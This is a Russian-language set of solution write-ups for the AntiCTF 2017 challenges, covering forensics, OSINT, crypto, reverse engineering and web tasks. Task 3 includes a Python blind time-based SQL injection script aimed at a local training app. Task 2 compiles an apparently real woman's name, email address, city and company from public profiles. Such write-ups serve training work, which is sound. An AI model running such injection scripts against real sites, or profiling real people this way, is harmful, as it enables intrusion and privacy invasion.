AntiCTF 2017 - разбор заданий

Все задания доступны по ссылке на нашем облаке: https://yadi.sk/d/4Eg8vkVs3M5647 **Внимание! Все разборы - авторские, по всем вопросам вы можете обращаться к ним**

Task 1. DotDot

Категория: Forensic + Misc

Автор: https://t.me/kray_101

Флаг: CTF{11cd7c080f299d7839c650d9bf4e2c7c}

Описание

Студент, нашел на компьютере в университете, на рабочем столе странный файл. Что же в нем? Может быть можно что-то найти в интернете?

Решение

1. Дан файл без названия.
2. Опытным путем, с помощью содержимого файла (word/settings.xml, [Content_Types].xml) выясняем, что это документ WORD.
3. Даем файлу расширение .docx и открываем.
4. Появляется окно о невозможности открыть файл из-за неисправности содержимого и возможности его восстановить и прочесть.
5. На основе текста, понимаем что он написан на французком. Переводим на английский и понимаем что речь идет о Луи Брайле.
6. Вспоминаем что файл был не исправим. После изучения сети интернет по запросу "Чем открыть файл docx", находим страницу "http://leext.ru/docx" и на ней находим информацию о том, что "Чтобы изучить содержимое DOCX файл вручную, переименуйте расширение в «.zip», а затем распаковать полученный файл любым архиватором, поддерживающим zip".
7. Переименовываем файл, даем ему расширение .zip и открываем.
8. После изучения содержимого архива, находим безымянный файл, открываем его как текстовый файл.
9. Внутри находится ASCII послание о том, что это md5 флаг и странные символы, являющиеся шрифтом Брайля.
10. В любом онлайн декодере шрифта Брайля получаем сообщение - "флаг это чексумма от названия первой книги, напечатанной шрифтом брайля"
11. Возвращаемся к тексту из документа. После его изучения находим строку - "The first book printed on the Braille system was the History of France (1837).".
12. Берем md5 от названия книги "History of France" и получаем чексумму - "11cd7c080f299d7839c650d9bf4e2c7c"
13. Вы восхитительны :*

Task 2. The girl in white

Категория: Recon + Joy

Автор: https://t.me/einepeople

Флаг:
CTF{DaveyWavestar_DJ_BillieRae_billieraebigsby@gmail.com_Berlin_BadBruises_BadBruisesOpenAir_14.00.09.07.17_10.00.10.07.17_ELSE}

Описание

[ТОЛЬКО ДЛЯ СЛУЖЕБНОГО ПОЛЬЗОВАНИЯ] Наша агентурная сеть в городе ██████ сообщила о прошедшем сходе ██████ских террористов. Их встреча была замаскирована под какое-то мероприятие в июле 2017, которое проводила принадлежащая ██████[ДАННЫЕ УДАЛЕНЫ, далее этот человек именуется "девушка"] организация. Агент ████ передавал информацию о нем, когда станция РТР засекла ЭМИ в районе конспиративной квартиры. Передача данных была прервана, связь оборвалась, более агент ████ с центром нек контактировал. Он успел передать лишь фотографию и часть текстового сообщения - "Все было рядом с ночным клуб[ПЕРЕДАЧА ДАННЫХ ПРЕРВАНА]". Девушка была обведена красным, в данный момент наши специалисты удалили следы маркера с фото. Соберите максимум информации об этой парочке. Мне нужно ВСЁ: имя этого парня и кем он работает. Имя девицы, ее электронная почта, в каком городе она живет, название организации, которая проводила мероприятие, дата и время начала, дата и время окончания злополучного мероприятия, ближайший к месту проведения ночной клуб.

Ключ имеет вид - CTF{P1name_P1job_P2name_P2mail_P2City_P2CompanyName_P2EventName_EStartDateTime_EEndDateTime_ClosestNC}

Где

- P1Name - имя парня слитно,
- P1Job - род занятий(не более двух букв),
- P2Name - имя девушки слитно,
- P2mail - ее э.почта,
- P2City - город, в котором она сейчас проживает,
- P2CompanyName - название компании, которой она руководит(Два слова, слитно),
- P2EventName - название эвента, слитно
- EStartDateTime/EEndDateTime - даты и время начала и конца мероприятия в формате HH.MM.DD.MM.YY,
- ClosestNC - название ближайшего ночного клуба(одно слово)

Пример флага: CTF{VasyaPupkin_HR_LenaLenina_lenka@mail.ru_Orel_DoodkaTroobnick_EventNameNullPtrException_15.30.10.07.17_15.31.10.07.17_Y oloBar}

П.С. РТР ===радиотехническая разведка П.П.С. Все названия и имена на латинице!

Решение

Кидаем картинку в поиск по картинкам Гугла. На второй странице находим блогспот барышни. Там же - ее имя. Billie Rae. Проматываем страницу до фотки, под ней подпись - Dj Davey Wavestar. Очевидно, парень и род его занятий. Гуглим(Яндексим) "Billie Rae Bohemian Starlet", находим первую же ссылку http://www.imgum.net/ImgUserMedia/201564285. В описании профиля сказано, что девушка в данный момент живет в Берлине. Там же видим "Founder & Director @BadBruises". Полистав по странице, тыкаем на профиль ссылке @BadBruises. Выбираем BadBruisesBerlin, т.к. про Берлин уже знаем. Убеждаемся, что это действительно организация, управляемая девушкой. Прокручиваем профиль организации вниз, видим сообщение, запощщенное 31 день назад(сегодня 09.08.17) - http://prntscr.com/g6hosr. Находим наконец название мероприятия и дату его начала - Bad Bruises Open Air, 09/07/17, 14.00. Гуглим(Яндексим) "Bad Bruises Open Air", вторая ссылка - http://berlinlovesyou.com/calendars/bad-bruises-open-air-illuminates-berlins-dark-side/ Там время и дата конца мероприятия - 10 июля, 10.00 утра. Второй абзац содержит таинственную надпись "200 metres down the road to ELSE". ELSE - какая точка в пространстве, видимо). Гуглим(Яндексим) "ELSE Berlin", первая ссылка - https://www.residentadvisor.net/club.aspx?id=79607 Да, это тот самый ночной клуб. Смотрим внизу страницы архим эвэнтов, видим наших Bad Bruises 9го Июля. Точно он.

P.S. Забыл про емейл. Он есть на фейсбуке - billieraebigsby@gmail.com Итого имеем флаг CTF{DaveyWavestar_DJ_BillieRae_billieraebigsby@gmail.com_Berlin_BadBruises_BadBruisesOpenAir_14.00.09.07.17_10.00.10.07.17_ELSE}

Task 3. Be patient

Категория: Web

Автор: https://t.me/browseme

Флаг: CTF{easytimesql}

Описание

Будьте терпеливы, и вы обязательно добъетесь своего!

Решение

WEB - Blind time-based sql-injection создание докер контейнера `sudo docker build -t sql_app:latest` . запуск контейнера `sudo docker run -d -p 8080:8080 sql_app`

Суть заключается в том, что необходимо проэксплуатировать слепую sql основанную на времени инъекцию. На главной странице имеются всяческие подсказки вида: BE PATIENT или YOU CANT SEE ME что должно наводить на цель. Там же имеется гиперссылка указывающая на то, что запрос распологается после слэша и никак не изменяется, соответственно самое сложное - построить

правильный запрос который осуществлял бы вытаскивание данных из БД и осуществлял бы задержку. На странице с запросом так же имеется 2 подсказки:

1. select flag from the flag - раскрывая структуру базы
2. sqlite3 is cool - что дает направление в поиске функции осуществляющей задержку

Необходимое - создать нужный запрос и написать автоматизацию, например: `select (CASE WHEN substr(flag,1,1)='A' THEN randomblob(5000000000000000) ELSE 1 END) from flag`

Функция randomblob с большим аргументом дает достаточно ощутимую задержку при вызове, что дает возможность писать эксплоит под это приложение. эксплоит: exploit.py

```
# -*- coding: utf-8 -*-
import requests, time, string

# flag - наш флаг
# stop - переменная разрешающая циклу выполнятся
# counter - счетчик символов для флага(нужен дл функции substr sqlite)
flag = ""
stop = False
counter = 0
# осуществляем главный цикл
while not stop:
  counter+=1
  # перебираем все буквы латинского алфавита, цифры и символы }{
  for i in string.letters+string.digits+"{}":
    # берем время до запроса
    ft = time.time()
    req = requests.get("http://localhost:8080/select (CASE WHEN substr(flag,"+str(counter)+",1
    # берем время после запроса
    st = time.time()
    # Если задержка >= 2.5 секунд, значит символ найден!
    if st-ft >= 2.5:
      #добавляем символ к флагу
      flag+=i
      print i
      #если наш символ - это символ завершения флага "}", то выходим из главного цикла
      if i == "}":
        stop = True
        print "FLAG IS : "+flag
```

Task 4. Типичная блондинка

Категория: Forensic

Автор: https://t.me/evalle

Флаг: CTF{F0rens1c_t0p4ik_let0}

Описание

Михалыч, тут это, Светка из бухгалтерии опять комп поломала. Как обычно, пыталась запустить программы с аргументами. Непонятно зачем? В прошлый раз ей очень сильно влетело за это. Ладно, перейду сразу к делу. Посмотри что она сделала. Я думаю, ты справишься. Как и в прошлый раз, используй Volatility. Формат флага CTF{Part1_Part2}

Решение

1. Запускаем Volatility, выбираем дамп памяти, запускаем с параметром imageinfo (volatility -f 20170810.mem imageinfo)
2. Выясняем версию операционной системы, выбираем профиль Win7SP1x86_23418, смотрим дерево процессов. (volatility -f 20170810.mem --prole=Win7SP1x86_23418 pstree)
3. Замечаем запущенный процесс cmd. Вспоминая условие, смотрим аргументы процессов командой cmdline (volatility -f 20170810.mem --prole=Win7SP1x86_23418 cmdline)
4. Видно, что cmd запущен с аргументом "F0rens1c". Исходя из условия, это только первая часть флага. Необходимо найти вторую.
5. Далее смотрим историю команд в cmd с помощью consoles (volatility -f 20170810.mem --prole=Win7SP1x86_23418 consoles)
6. Процесс Notepad был запущен с аргументом "pastebin.com/hdhV3YXz". Как видно, это ссылка. Переходим по ней и получаем 2 часть флага: "t0p4ik_let0".
7. Вспоминая формат флага (CTF{Part1_Part2}), склеиваем 2 куска. В итоге, получаем флаг: CTF{F0rens1c_t0p4ik_let0}

Task 5. rsaska

Категория: Crypto

Автор: https://t.me/romnaka

Флаг: CTF{q: why w45 6 4fr41d 0f 7? 4: b3c4u53 7, 8, 9.}

Описание

The *attack, named after cryptologist Michael J.* These commands help you:

```
python2.7 genconf.py > conf.txt
openssl asn1parse -genconf conf.txt -out ./key
openssl rsautl -decrypt -inkey key -keyform DER -in msg.enc -out ./msg.dec
```

Решение

стандартная атака Винера, куча реализаций в инете, дальше юзаем openssl для расшифровки, команды указал.

Task 6. Дело кузнечика

Категория: Crypto + Stego

Автор: https://t.me/AR7IS7

Флаг: CTF{56.7400457,37.2248421}

Описание

```
time: 10:11
from: l@fsb.ru
theme: дело кузнечика
les:
encrypted.bin, megacrypt.py
Добрый день, господа хакеры.
Мы перехватили вражеского шпиона и нашли кое-что интересное.
При анализе дампов его оперативной памяти был найден файл encrypted.bin, где, по нашему предпо
Мы заставили его написать дешефратор, но пока соседний отдел выпытывал из него ключи шифровани
В общем он успел написать только часть и вряд ли сможет написать что-то ещё. Смотрите файл meg
На этом плохие новости не кончаются: ключи мы так и не получили... Известно только что ключ ну
Вся надежда только на Вас.
С уважением
Отделение Л
====================
time: 12:55
from: p@fsb.ru
theme: дело кузнечика (2)
les:
somekeys.rar
Здравствуйте, товарищи.
Мы сожалеем, что действия нашего отдела усложнили вам работу. Дабы искупить свою вину мы стали
И мы нашли ключ... Правда он как-то запакован сложно. Наши радиоэлектронщики не справились с р
Надеюсь вам поможет то, что мы нашли.

P.S. один из следователей сказал, что шпион бубнил что-то про преобразование картинок или в ка
С уважением
Отделение П
====================
```

Решение

Получение кода для шифрованого флага.

1. Сделать реверс аудио файла (сделать это можно онлайн например на сайте https://www.mp3-reverser.com/en/)
2. Скачать RX-SSTV декодер (http://users.belgacom.net/hamradio/rxsstv.htm)
3. Деккодировать звуковой файл в картинкку
4. Сохранить картинку и посмотреть на ней код для шифрованного флага 531441

Дешифрование флага

1. Написать функцию дешифрования

2. Дешифровать флаг при помощи кода

Ответ: CTF{56.7400457,37.2248421}

```
# пример функции дешифрования:
megaKy = numpy.array(genMegaKey(megaSecret)) #генерируем кодирпующую матрицу по секретному клю
megaKey = numpy.linalg.inv(megaKey) #находим обратную к ней
# считываем шифрованные данные и декодируем
text = n.read().split('\n')
for line in text:
  if line != '':
    dec = []
    elems = line.split(' ')
    for i in range(k**2):
      if i%k == 0:
        dec.append([])
      if elems[i] != '':
        dec[i//k].append(int(elems[i]))
    ndec = numpy.array(dec)
    decm = numpy.dot(megaKey, ndec)
    for dline in decm:
      for delem in dline:
        fout.write(chr(int(numpy.around(delem))))
```

Task 7. Подпиши меня

Категория: Reverse

Автор: https://vk.com/id27679787

Флаг: CTF{KTAXGXMRYGEG^T@M@}

Описание

Мы нашли программный модуль для подписывания электронных документов. Ваша задача подписать документ nance_report.txt. Вся информация прилагается.

Решение

В исполняемом файле изменена точка входа. Вариантов решения много. Один из - изменить строковую константу flag, чтобы не вылетало исключение. Есть другой вариант - реверсить "влоб" - открыть IL-дизассемблер, увидеть что точка доступа не в мэйне, заняться изучением _IndianDebugger, увидеть, что параметр, передаваемый в Signature - **0x31337374**, а не **12345678**

Task 8. Japanese grid

Категория: Joy

Автор: https://t.me/metalbrother

Флаг: CTF{0k_u_HaVE_D0nE_1t}

Описание

На нашу корпоративную почту пришло письмо с весьма странным архивом. Сможешь разобраться в чем дело?

Решение

Открываем архив Меняем flog.gig на ..bmp(видно из хекса) Это японский кроссворд Далее 2 способа на выбор

Способ 1:

1. Решить вручную японский кроссворд
2. Просканировать QR-код
3. Профит

Способ 2:

1. Использовать для решения специальный софт(Pic-a-Pix Puzzle World, Редактор Японских Головоломок)
2. Просканировать QR-код
3. Профит

Task 9. Reverse ??!

Категория: Network

Автор: https://t.me/DRooom

Флаг: CTF{0f4d0db3668dd58cabb9eb409657eaa8}

Описание

Вы нашли файл со странными бинарными данными, что же это может быть ?

Решение

Преобразовать в hex, понять что это пакет, дальше разобрать его либо ручками либо утилитой, либо просто перевести в строку.

Task 10. Talk to Caesar

Категория: Crypto + PPC

Автор: https://t.me/malevi4

Флаг: CTF{SSBsaWtlIENyeXB0byBQUEM=}

Описание

Talk to Caesar. But make it fast. He is a very busy person.

Решение

Необходимо автоматизировать расшифровку шифра Цезаря с известным ключом.

Task 11. IP Inside

Категория: Forensic + Network + Stego

Автор: https://t.me/skalniy

Флаг: CTF{C0V3rT}

Описание

Поступила информация, что один из наших сотрудников сливает информацию очень странным способом. Помоги нам понять, что именно он успел вытащить.

Решение

http://www-scf.usc.edu/~csci530l/downloads/covert_tcp.c с помощью этой программы передается по одному байту полезной нагрузки в поле Identication IP-протокола. В это дампе передается текст "You can either hide the data (file) inside an image or extract the data from the image. Check below to see how it can be done: CTF{C0V3rT}. Wel=l done!".

Task 12. Megalovania

Категория: Reverse

Автор: https://t.me/ComicSans

Флаг: CTF{Megalovania_intensies_heh_Chara_DETERMINATION}

Описание

"Играли в Undertale? Нет? Ну ладно... Представьте, что Вы прогуливаетесь по вершине горы Мёбоку и вдруг падаете в пропасть. После удачного приземления на цветы, Вы встаете и осознаете, что находитесь в лабиринте. Оглянувшись вокруг, Вы замечаете еще одного упавшего.

Он подходит к вам, и вместе вам предстоит найти выход из этого страшного места...

После некоторого исследования вы собрали немного информации о лабиринте: Перемещаться по лабиринту вы можете с помощью команд "N" - север, "S" - юг,"E" - восток,"W" - запад, а затем нажимая "Enter". Лабиринт населяют монстры, к которым вы не решитесь подходить, и обязательно вернетесь обратно на позицию, где вы были до встречи с ними.

В лабиринте есть телепорты - Когда вы попадаете в один из них, вы перемещаетесь на позицию телепорта, соединенного с ним. Телепорты издают характерный звук. Чтобы пройти лабиринт, нужно найти некоторое сокровище - старинный артефакт - позволяющий открыть проход на поверхность и выйти из лабиринта. Но вот в чем вопрос - где сокровище и выход? Сокровище блестящее. Так гласят легенды. Характерный признак выхода из лабиринта - вой ветра.

Ну что, сможете найти выход из лабиринта? А я вам флаг за это ;)"

Решение

Предлагаю выбрать 1 из файлов. Labyrinth8.exe дает лабиринт 8*8, где игроки за минут 10 - 15 смогут пройти лабиринт, но флаг они не получат, так как по прохождении лабиринта консоль выдаст "Here's your flag: ... Geeeeeeeet Dunked on!";

Labyrinth.exe дает лабиринт 150*150, где игрок маловероятно сможет что-либо найти. Решение простое - открывает exe файл в CodeReect, там находим в DescribeSurroundings настоящий флаг.

Task 13. i_cacogo_mne_prihoditsya

Категория: Admin

Автор: https://t.me/kitsu

Флаг: CTF{I_TAK_SOYDET_M6zSWoyLSPt65ZLJL2w7nw}

Описание

Судьба админа крайне тяжела. Помогите ему разобраться с очередной бесполезной задачей

Решение

Последний байт пакета

Task 14. Easy Peasy

Категория: Joy

Автор: https://t.me/kibersatanist

Флаг: {flag}GoMarsElonGo

Описание

Ну что, друзья, перед вами 2 изображения. На них спрятано (очень плохо спрятано) то, с чем вы сталкиваетесь повсеместно. В результате вы найдёте некую подсказку.

Да пребудет с вами Google!

Решение

На фотках спрятан (не очень спрятано, времени не хватило) ip адрес сервера, который выдает небольшую загадку. Тесла 21 век - отсылка на Илона Маска. На страничке в википедии, в примечаниях.

Task 15. strange_message

Категория: Crypto + Network

Автор: https://t.me/yeiazel

Флаг: CTF(изи5)

Описание

В системе появился внезапный гость, найди его и забери секретную информацию -_-

Решение

найти порт, подключится по telnet, расшифровать послание из двоичной в книжный шифр, книжный шифр на странице https://letoctf.org/about

Task 16. Drunk admin's apache errors ^_^

Категория: Admin

Автор: https://t.me/malevi4

Флаг: CTF{grepme}

Описание

YESTERDAY our admin had a very hard day. Many pupils were hacking his network. There were some Apache ERRORs. Check please what was going wrong. bestadmin:12345678

Решение

Задание на знание где лежат логи apache и на знание grep.

1. Необходимо зайти на сервер по ssh, найти логи ошибок Apache.
2. С помощью grep вывести сообщения об ошибках (error) за вчера (11.08.2017).
3. Из первых букв сообщения об ошибках получится флаг

Task 17. Неторопливость

Категория: Reverse + PPC

Автор: https://t.me/excream

Флаг: letoctf_flag_stupid_bogosort_bd1956cc

Описание

К сожалению, Доктор D. не был наделен достаточной эрудицией, для того чтобы справиться с заданием, которое Доктор F. ему в очередной раз поручил. Впрочем, ничего удивительного. Программа, которую Доктор D. написал, работала слишком неторопливо, чтобы к полуночи закончить обработку данных с большого адронного коллайдера устройства калибровки кофемолок, тех самых, которые так были нужны Доктору F. Нетрудно догадаться, что Доктор F., когда об этом узнает, снова расстроиться, поскольку уже давно ждёт откалиброванных кофемолок, и Доктор D. этого очень сильно не хочет. В общем, снова Доктора D. нам нужно спасать. Доктор D. предоставил вам свои наработки, и данные, которые нужно обработать. Данные после обработки будут содержать в том числе и ваш флаг — строку из латинских букв, цифр, и символов '_'. Больше Доктор D. ничего не сказал, только с озабоченным видом пожелал удачи, отметив, что почти все необходимое для получение флага уже содержится в его коде.

Решение

Программа разбирает входные данные, и пытается их отсортировать. Проблема в том, что сортирует она очень, очень плохо. Задача сводится к тому, чтобы это понять, и сортировку сделать нормальную. Тогда программа после всех манипуляций будет содержать в памяти осмысленный текст, в котором содержится флаг. Как этот текст вывести - есть толстый намек в коде в виде комментария.